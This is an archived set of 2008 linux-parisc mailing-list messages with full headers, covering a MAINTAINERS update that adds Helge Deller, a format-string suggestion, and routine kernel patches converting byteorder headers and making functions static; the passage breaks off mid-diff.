	Mon, 1 Dec 2008 02:22:36 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750748AbYLAHWg
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 1 Dec 2008 02:22:36 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:51033 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750740AbYLAHWf (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 1 Dec 2008 02:22:35 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 63D126F803C;
	Mon,  1 Dec 2008 00:21:58 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01434-04; Mon, 1 Dec 2008 00:21:45 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 4FD276F8039; Mon,  1 Dec 2008 00:21:37 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20081122180152.GC2690@colo.lackof.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:888
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/888>

On Sat, Nov 22, 2008 at 11:01:52AM -0700, Grant Grundler wrote:
> On Sat, Nov 22, 2008 at 05:22:09AM -0700, Matthew Wilcox wrote:
> > On Fri, Nov 21, 2008 at 10:53:01PM -0700, Grant Grundler wrote:
> > > And Helge has been great about fixing stuff - much better than the three
> > > listed maintainers lately.
> > > Kyle, willy, any objection to adding Helge to the MAINTAINERS list
> > > for PARISC port?
> > > I'd rather allow Helge to make a few small mistakes occasionally rather
> > > than watch his parisc specific patches fall on the floor.
> > 
> > No objection from me.  I think it's time to remove me from MAINTAINERS
> > as it's probably been six months since I last turned on any of my parisc
> > machines.
> 
> Thanks!  We have quorum.
> Andrew can you please apply this and send to linus?
> Or should I start acting like a maintainer and send it myself? :)
> 
> Willy, I'm not removing you from Cupertino test ring LDAP or any other
> privileges unless you ask me to. Just note I appreciate all of your past
> (and future) help with the port and you are always welcome in Mountain View.

Andrew,

Updated version of this patch: I'm removing my own name as well for some of
the same reasons as willy. I'll continue to review patches for linux-parisc,
maintaining parisc/ia64 systems for gcc/kernel developer access, and testing
kernels on parisc occasionally (working on autotest.kernel.org to get
that more consistent and easier.)

thanks,
grant

Signed-off-By: Grant Grundler <grundler@parisc-linux.org>
Reviewed-by: Matthew Wilcox <matthew@wil.cx>
Acked-by: Helge Deller <deller@gmx.de>


diff --git a/MAINTAINERS b/MAINTAINERS
index 618c1ef..56e519a 100644
--- a/MAINTAINERS
+++ b/MAINTAINERS
@@ -3294,10 +3294,8 @@ S:	Maintained
 PARISC ARCHITECTURE
 P:	Kyle McMartin
 M:	kyle@mcmartin.ca
-P:	Matthew Wilcox
-M:	matthew@wil.cx
-P:	Grant Grundler
-M:	grundler@parisc-linux.org
+P:	Helge Deller
+M:	deller@gmx.de
 L:	linux-parisc@vger.kernel.org
 W:	http://www.parisc-linux.org/
 T:	git kernel.org:/pub/scm/linux/kernel/git/kyle/parisc-2.6.git
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Mon, 1 Dec 2008 11:54:25 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <7d01f9f00812010254s3bf845cr8e2b35fe2dedc125@mail.gmail.com>
References: <4932FFB7.4040506@gmx.de>
	 <20081201000013.349294DF8@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1228128876 3525 80.91.229.12 (1 Dec 2008 10:54:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 1 Dec 2008 10:54:36 +0000 (UTC)
Cc: "Helge Deller" <deller@gmx.de>, gmsoft@tuxicoman.be,
	carlos@systemhalted.org, grundler@parisc-linux.org,
	linux-parisc@vger.kernel.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 01 11:55:40 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L76RH-0003AU-Sg
	for glpp-linux-parisc@gmane.org; Mon, 01 Dec 2008 11:55:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751068AbYLAKy0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 1 Dec 2008 05:54:26 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751213AbYLAKy0
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 1 Dec 2008 05:54:26 -0500
Original-Received: from wf-out-1314.google.com ([209.85.200.175]:13818 "EHLO
	wf-out-1314.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751068AbYLAKyZ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 1 Dec 2008 05:54:25 -0500
Original-Received: by wf-out-1314.google.com with SMTP id 27so2610185wfd.4
        for <linux-parisc@vger.kernel.org>; Mon, 01 Dec 2008 02:54:25 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=UB+Vg35poC5n6zeN2ipjCpv46j/i82G9nAUy8ZP7dLg=;
        b=ghfrSyS435DIQ6f3Vr+MSlREEBuzl8X+E3kKf1MffIlVk95Qf4FvoZaGYgZDZ5vJCE
         Ft2IK54A3CogYf2mV/x+05VQ7wzHHgtAdKOln538A1VfRR8EK6gwHg+0CSfTj6gUyL7R
         Uzkzb/kmS1vJMEAlazL/J4e+9yR7WqXcc3s1o=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=cl51txCW4M6pi10i4WLcb1Pe5QEaUpW+RPY5wIOpfFj5y5qGk1LclBTkBb29R4UsrH
         69oE8G+qWulPW5bhSDxANz93+nLi/hz2cFVH37HVIkq6voKH8XJafc1pVm4br4W3GgDP
         GhU9vtgsaQL/B2zcfeSjGGlOMdjt1gLizPcTk=
Original-Received: by 10.142.158.17 with SMTP id g17mr4475017wfe.54.1228128865308;
        Mon, 01 Dec 2008 02:54:25 -0800 (PST)
Original-Received: by 10.142.245.3 with HTTP; Mon, 1 Dec 2008 02:54:25 -0800 (PST)
In-Reply-To: <20081201000013.349294DF8@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Google-Sender-Auth: bacb4460df47d964
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:889
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/889>

On Tue, Dec 2, 2008 at 1:00 AM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:

>
> Are there some standard 32 and 64 bit defines for format strings?  Or, do we
> always want 16 hex digits?

In traps.c we used to do this for the regs dump:

#ifdef __LP64__
#define RFMT "%016lx"
#else
#define RFMT "%08lx"
#endif

and then sprintf(p, " " RFMT, (i+j) == 0 ? 0 : regs->gr[i + j]);

I guess a similar trick could do, to some extent?

HTH

T-Bone
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] 2.6.28-rc6 update parisc MAINTAINERS
Date: Mon, 01 Dec 2008 16:59:02 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <493409C6.6050607@gmx.de>
References: <200811202258.56561.deller@gmx.de> <200811211516.50750.deller@gmx.de> <20081121111705.dc03a465.akpm@linux-foundation.org> <49272F66.1010702@gmx.de> <20081121142013.f8d59b3f.akpm@linux-foundation.org> <20081122055301.GA12724@colo.lackof.org> <20081122122208.GE5707@parisc-linux.org> <20081122180152.GC2690@colo.lackof.org> <20081201072134.GE17583@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1228147160 4066 80.91.229.12 (1 Dec 2008 15:59:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 1 Dec 2008 15:59:20 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	linux-parisc@vger.kernel.org, kyle@hera.kernel.org,
	randolph@tausq.org, stable@kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 01 17:00:24 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L7BC9-0005i7-Dv
	for glpp-linux-parisc@gmane.org; Mon, 01 Dec 2008 17:00:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751954AbYLAP7J (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 1 Dec 2008 10:59:09 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751979AbYLAP7I
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 1 Dec 2008 10:59:08 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:49638 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751954AbYLAP7I (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 1 Dec 2008 10:59:08 -0500
Original-Received: (qmail invoked by alias); 01 Dec 2008 15:59:05 -0000
Original-Received: from mnhm-590f69e0.pool.einsundeins.de (EHLO halden.box) [89.15.105.224]
  by mail.gmx.net (mp010) with SMTP; 01 Dec 2008 16:59:05 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18jJ50J/K4j57QBO9Rge+ru9lFNy4NGBxqlRuZs7X
	Uq8obF1j5bo62v
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <20081201072134.GE17583@colo.lackof.org>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.58
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:890
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/890>

Grant Grundler wrote:
> On Sat, Nov 22, 2008 at 11:01:52AM -0700, Grant Grundler wrote:
>> On Sat, Nov 22, 2008 at 05:22:09AM -0700, Matthew Wilcox wrote:
>>> On Fri, Nov 21, 2008 at 10:53:01PM -0700, Grant Grundler wrote:
>>>> And Helge has been great about fixing stuff - much better than the three
>>>> listed maintainers lately.
>>>> Kyle, willy, any objection to adding Helge to the MAINTAINERS list
>>>> for PARISC port?
>>>> I'd rather allow Helge to make a few small mistakes occasionally rather
>>>> than watch his parisc specific patches fall on the floor.
>>> No objection from me.  I think it's time to remove me from MAINTAINERS
>>> as it's probably been six months since I last turned on any of my parisc
>>> machines.
>> Thanks!  We have quorum.
>> Andrew can you please apply this and send to linus?
>> Or should I start acting like a maintainer and send it myself? :)
>>
>> Willy, I'm not removing you from Cupertino test ring LDAP or any other
>> privileges unless you ask me to. Just note I appreciate all of your past
>> (and future) help with the port and you are always welcome in Mountain View.
> 
> Andrew,
> 
> Updated version of this patch: I'm removing my own name as well for some of
> the same reasons as willy. 

Grant, even if you are currently only occasionally fixing bugs or 
reviewing patches, I think it would still be valuable to keep you listed 
here as one of the parisc maintainers.

Helge

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: akpm@linux-foundation.org
Newsgroups: gmane.linux.ports.parisc
Subject: [patch 3/3] parisc: use the new byteorder headers
Date: Mon, 01 Dec 2008 14:28:17 -0800
Lines: 86
Approved: news@gmane.org
Message-ID: <200812012228.mB1MSHev017242@imap1.linux-foundation.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1228170544 32437 80.91.229.12 (1 Dec 2008 22:29:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 1 Dec 2008 22:29:04 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, akpm@linux-foundation.org,
	harvey.harrison@gmail.com, willy@debian.org
To: kyle@mcmartin.ca
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 01 23:30:07 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L7HHK-0005b2-2z
	for glpp-linux-parisc@gmane.org; Mon, 01 Dec 2008 23:30:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751774AbYLAW2y (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 1 Dec 2008 17:28:54 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752146AbYLAW2x
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 1 Dec 2008 17:28:53 -0500
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:35675 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751774AbYLAW2x (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 1 Dec 2008 17:28:53 -0500
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id mB1MSHPu020379
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Mon, 1 Dec 2008 14:28:18 -0800
Original-Received: from localhost.localdomain (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with ESMTP id mB1MSHev017242;
	Mon, 1 Dec 2008 14:28:17 -0800
X-Spam-Status: No, hits=-3.349 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED,OSDL_NIGERIAN_DEPOSIT
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:891
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/891>

From: Harvey Harrison <harvey.harrison@gmail.com>

Signed-off-by: Harvey Harrison <harvey.harrison@gmail.com>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Matthew Wilcox <willy@debian.org>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
---

 arch/parisc/include/asm/byteorder.h |   37 ++++++++------------------
 1 file changed, 12 insertions(+), 25 deletions(-)

diff -puN arch/parisc/include/asm/byteorder.h~parisc-use-the-new-byteorder-headers arch/parisc/include/asm/byteorder.h
--- a/arch/parisc/include/asm/byteorder.h~parisc-use-the-new-byteorder-headers
+++ a/arch/parisc/include/asm/byteorder.h
@@ -4,9 +4,10 @@
 #include <asm/types.h>
 #include <linux/compiler.h>
 
-#ifdef __GNUC__
+#define __BIG_ENDIAN
+#define __SWAB_64_THRU_32__
 
-static __inline__ __attribute_const__ __u16 ___arch__swab16(__u16 x)
+static inline __attribute_const__ __u16 __arch_swab16(__u16 x)
 {
 	__asm__("dep %0, 15, 8, %0\n\t"		/* deposit 00ab -> 0bab */
 		"shd %%r0, %0, 8, %0"		/* shift 000000ab -> 00ba */
@@ -14,8 +15,9 @@ static __inline__ __attribute_const__ __
 		: "0" (x));
 	return x;
 }
+#define __arch_swab16 __arch_swab16
 
-static __inline__ __attribute_const__ __u32 ___arch__swab24(__u32 x)
+static inline __attribute_const__ __u32 __arch_swab24(__u32 x)
 {
 	__asm__("shd %0, %0, 8, %0\n\t"		/* shift xabcxabc -> cxab */
 		"dep %0, 15, 8, %0\n\t"		/* deposit cxab -> cbab */
@@ -25,7 +27,7 @@ static __inline__ __attribute_const__ __
 	return x;
 }
 
-static __inline__ __attribute_const__ __u32 ___arch__swab32(__u32 x)
+static inline __attribute_const__ __u32 __arch_swab32(__u32 x)
 {
 	unsigned int temp;
 	__asm__("shd %0, %0, 16, %1\n\t"	/* shift abcdabcd -> cdab */
@@ -35,7 +37,7 @@ static __inline__ __attribute_const__ __
 		: "0" (x));
 	return x;
 }
-
+#define __arch_swab32 __arch_swab32
 
 #if BITS_PER_LONG > 32
 /*
@@ -48,7 +50,8 @@ static __inline__ __attribute_const__ __
 **      HSHR    67452301 -> *6*4*2*0 into %0
 **      OR      %0 | %1  -> 76543210 into %0 (all done!)
 */
-static __inline__ __attribute_const__ __u64 ___arch__swab64(__u64 x) {
+static inline __attribute_const__ __u64 __arch_swab64(__u64 x)
+{
 	__u64 temp;
 	__asm__("permh,3210 %0, %0\n\t"
 		"hshl %0, 8, %1\n\t"
@@ -58,25 +61,9 @@ static __inline__ __attribute_const__ __
 		: "0" (x));
 	return x;
 }
-#define __arch__swab64(x) ___arch__swab64(x)
-#define __BYTEORDER_HAS_U64__
-#elif !defined(__STRICT_ANSI__)
-static __inline__ __attribute_const__ __u64 ___arch__swab64(__u64 x)
-{
-	__u32 t1 = ___arch__swab32((__u32) x);
-	__u32 t2 = ___arch__swab32((__u32) (x >> 32));
-	return (((__u64) t1 << 32) | t2);
-}
-#define __arch__swab64(x) ___arch__swab64(x)
-#define __BYTEORDER_HAS_U64__
-#endif
-
-#define __arch__swab16(x) ___arch__swab16(x)
-#define __arch__swab24(x) ___arch__swab24(x)
-#define __arch__swab32(x) ___arch__swab32(x)

From - Thu Nov 08 21:03:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: akpm@linux-foundation.org
Newsgroups: gmane.linux.ports.parisc
Subject: [patch 1/3] parisc/lib/: make code static
Date: Mon, 01 Dec 2008 14:28:15 -0800
Lines: 48
Approved: news@gmane.org
Message-ID: <200812012228.mB1MSF7t017234@imap1.linux-foundation.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1228170565 32501 80.91.229.12 (1 Dec 2008 22:29:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 1 Dec 2008 22:29:25 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, akpm@linux-foundation.org,
	bunk@kernel.org, grundler@parisc-linux.org, matthew@wil.cx
To: kyle@mcmartin.ca
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 01 23:30:28 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L7HHe-0005b2-Vs
	for glpp-linux-parisc@gmane.org; Mon, 01 Dec 2008 23:30:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752251AbYLAW3O (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 1 Dec 2008 17:29:14 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752269AbYLAW3O
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 1 Dec 2008 17:29:14 -0500
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:34416 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752251AbYLAW3O (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 1 Dec 2008 17:29:14 -0500
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id mB1MSGhJ020373
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Mon, 1 Dec 2008 14:28:17 -0800
Original-Received: from localhost.localdomain (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with ESMTP id mB1MSF7t017234;
	Mon, 1 Dec 2008 14:28:16 -0800
X-Spam-Status: No, hits=-3.399 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:892
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/892>

From: Adrian Bunk <bunk@kernel.org>

Make the following needlessly global code static:

- iomap.c: struct iomap_ops[]
- memcpy.c: pa_memcpy()

Signed-off-by: Adrian Bunk <bunk@kernel.org>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Matthew Wilcox <matthew@wil.cx>
Cc: Grant Grundler <grundler@parisc-linux.org>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
---

 arch/parisc/lib/iomap.c  |    2 +-
 arch/parisc/lib/memcpy.c |    2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff -puN arch/parisc/lib/iomap.c~parisc-lib-make-code-static arch/parisc/lib/iomap.c
--- a/arch/parisc/lib/iomap.c~parisc-lib-make-code-static
+++ a/arch/parisc/lib/iomap.c
@@ -261,7 +261,7 @@ static const struct iomap_ops iomem_ops 
 	iomem_write32r,
 };
 
-const struct iomap_ops *iomap_ops[8] = {
+static const struct iomap_ops *iomap_ops[8] = {
 	[0] = &ioport_ops,
 	[7] = &iomem_ops
 };
diff -puN arch/parisc/lib/memcpy.c~parisc-lib-make-code-static arch/parisc/lib/memcpy.c
--- a/arch/parisc/lib/memcpy.c~parisc-lib-make-code-static
+++ a/arch/parisc/lib/memcpy.c
@@ -275,7 +275,7 @@ handle_store_error:
 
 
 /* Returns 0 for success, otherwise, returns number of bytes not transferred. */
-unsigned long pa_memcpy(void *dstp, const void *srcp, unsigned long len)
+static unsigned long pa_memcpy(void *dstp, const void *srcp, unsigned long len)
 {
 	register unsigned long src, dst, t1, t2, t3;
 	register unsigned char *pcs, *pcd;
_
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: akpm@linux-foundation.org
Newsgroups: gmane.linux.ports.parisc
Subject: [patch 2/3] drivers/parisc/: make code static
Date: Mon, 01 Dec 2008 14:28:16 -0800
Lines: 176
Approved: news@gmane.org
Message-ID: <200812012228.mB1MSGho017237@imap1.linux-foundation.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1228170569 32520 80.91.229.12 (1 Dec 2008 22:29:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 1 Dec 2008 22:29:29 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, akpm@linux-foundation.org,
	bunk@kernel.org, grundler@parisc-linux.org, matthew@wil.cx
To: kyle@mcmartin.ca
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 01 23:30:30 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L7HHd-0005b2-Qe
	for glpp-linux-parisc@gmane.org; Mon, 01 Dec 2008 23:30:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751320AbYLAW3N (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 1 Dec 2008 17:29:13 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752146AbYLAW3N
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 1 Dec 2008 17:29:13 -0500
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:37222 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751320AbYLAW3M (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 1 Dec 2008 17:29:12 -0500
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id mB1MSHju020375
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Mon, 1 Dec 2008 14:28:18 -0800
Original-Received: from localhost.localdomain (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with ESMTP id mB1MSGho017237;
	Mon, 1 Dec 2008 14:28:16 -0800
X-Spam-Status: No, hits=-3.399 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:893
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/893>

From: Adrian Bunk <bunk@kernel.org>

Make the following needlessly global code static:

- asp.c: asp_init_chip()
- ccio-dma.c: ccio_io_pdir_entry()
- dino.c: struct dino_port_ops
- dino.c: struct dino_bios_ops
- hppb.c: struct hppb_card_head
- lasi.c: lasi_led_init()
- lasi.c: lasi_init_chip()
- lba_pci.c: struct lba_bios_ops
- sba_iommu.c: sba_io_pdir_entry()
- sba_iommu.c: sba_driver_callback()
- sba_iommu.c: sba_driver_callback()
- wax.c: wax_init_chip()

Signed-off-by: Adrian Bunk <bunk@kernel.org>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Matthew Wilcox <matthew@wil.cx>
Cc: Grant Grundler <grundler@parisc-linux.org>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
---

 drivers/parisc/asp.c       |    3 +--
 drivers/parisc/ccio-dma.c  |    2 +-
 drivers/parisc/dino.c      |    4 ++--
 drivers/parisc/hppb.c      |    2 +-
 drivers/parisc/lasi.c      |    5 ++---
 drivers/parisc/lba_pci.c   |    2 +-
 drivers/parisc/sba_iommu.c |    7 +++----
 drivers/parisc/wax.c       |    3 +--
 8 files changed, 12 insertions(+), 16 deletions(-)

diff -puN drivers/parisc/asp.c~drivers-parisc-make-code-static drivers/parisc/asp.c
--- a/drivers/parisc/asp.c~drivers-parisc-make-code-static
+++ a/drivers/parisc/asp.c
@@ -71,8 +71,7 @@ static void asp_choose_irq(struct parisc
  */
 #define ASP_INTERRUPT_ADDR 0xf0800000
 
-int __init
-asp_init_chip(struct parisc_device *dev)
